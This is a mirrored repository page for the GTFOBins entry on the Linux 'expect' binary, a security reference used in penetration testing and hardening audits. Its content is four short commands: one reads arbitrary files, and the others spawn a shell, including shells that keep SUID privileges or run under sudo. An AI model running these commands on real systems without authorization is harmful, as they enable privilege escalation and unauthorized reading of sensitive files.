This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-01 17:29:13 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
887384bc2f87c3ae27d8b3879c9e4090ab4b1a94
GTFOBins.github.io
/
_gtfobins
/
expect.md
LinuxSploit
ed0922ee57
Add expect file-read
...
Co-authored-by: Andrea Cardaci <
cyrus.and@gmail.com
>
2021-06-23 09:01:37 +02:00
483 B
Raw
Blame
History
functions
functions
file-read
shell
suid
sudo
description
code
The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message. Thus, this might not be suitable to read arbitrary binary files.
LFILE=file_to_read expect $LFILE
code
expect -c 'spawn /bin/sh;interact'
code
./expect -c 'spawn /bin/sh -p;interact'
code
sudo expect -c 'spawn /bin/sh;interact'
Reference in New Issue
View Git Blame
Copy Permalink